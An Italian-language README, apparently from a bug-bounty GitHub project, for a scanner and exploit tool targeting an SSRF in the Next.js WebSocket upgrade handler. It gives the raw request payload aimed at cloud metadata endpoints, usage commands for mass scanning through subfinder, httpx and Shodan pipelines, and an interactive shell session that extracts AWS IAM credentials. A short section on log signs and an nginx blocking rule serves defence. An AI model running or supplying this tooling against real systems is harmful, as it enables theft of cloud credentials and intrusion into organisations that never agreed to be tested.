
CVE-2026-44578 scanner e strumento di exploit per SSRF nel gestore di upgrade WebSocket di Next.js. Rileva le versioni vulnerabili, estrae i metadati cloud ed esfiltra le credenziali IAM tramite shell interattiva.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Server-Side Request Forgery via Next.js WebSocket Upgrade Handler
Panoramica · Installazione · Utilizzo · Pipeline · Shodan · Interattivo · Dichiarazione di non responsabilità
L'11 maggio 2026, Vercel ha corretto CVE-2026-44578 (CVSS 8.6): un SSRF non autenticato nel gestore di upgrade WebSocket di Next.js che colpisce tutte le implementazioni self-hosted a partire da 13.4.13.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Il // in http:// attiva l'uscita anticipata di normalizeRepeatedSlashes, impostando statusCode: 308 e finished: true. Il gestore di upgrade vulnerabile ignora entrambi i flag e chiama proxyRequest quando parsedUrl.protocol è truthy — inoltrando la richiesta all'host controllato dall'attaccante sulla porta 80.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| Prodotto | Vulnerabile | Corretta |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel-hosted | ✅ NON influenzato | N/A |
Upgrade: websocket con 400
Credenziali AWS IMDSv1 esfiltrate tramite CVE-2026-44578 — shell di exploit interattiva
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
Zero dipendenze — solo libreria standard Python. Richiede Python 3.10+.
python3 nextssrf.py -t https://target.com
# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws
# Custom internal target
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force
| Codice | Significato |
|---|---|
0 | Non vulnerabile / pulito |
1 | Vulnerabile (nessun exploit) |
2 | SSRF confermato |
Shell di exploit avanzata con rilevamento automatico del cloud ed estrazione delle credenziali IAM:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto
# Full recon → exploit pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Check specific version range
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
Segni di sfruttamento nei log:
# Log del processo Next.js
Failed to proxy http:/ ← singolo slash = impronta della normalizzazione
# Log di accesso (URI in forma assoluta + header Upgrade)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: rifiuta URI di richiesta in forma assoluta
if ($request_uri ~* "^https?://") {
return 400;
}
Solo per test di sicurezza autorizzati e ricerca bug bounty. Utilizzare solo contro sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione scritta ai test. Gli autori non sono responsabili per uso improprio o non autorizzato. Seguire sempre le regole di engagement del proprio programma bug bounty.
Realizzato con ❤️ da @mitsec · ynsmroztas.github.io
Top Hacker @ Intigriti · 100+ HOF · 2430+ Vulnerabilità · 1100+ P1 Critiche
| Comando | Descrizione |
|---|
cloud | Rilevamento automatico del cloud (AWS/Azure/GCP/DO/OCI) |
aws | Catena completa di credenziali AWS IAM |
azure | Token di identità gestita Azure |
scan | Rilevamento cloud + exploit automatico |
url <http://> | Richiesta SSRF personalizzata |
get <N> | Target IMDS AWS per indice |
list | Mostra tutti gli endpoint IMDS |
history | Cronologia richieste |
save | Esporta sessione in JSON |
quit | Esci |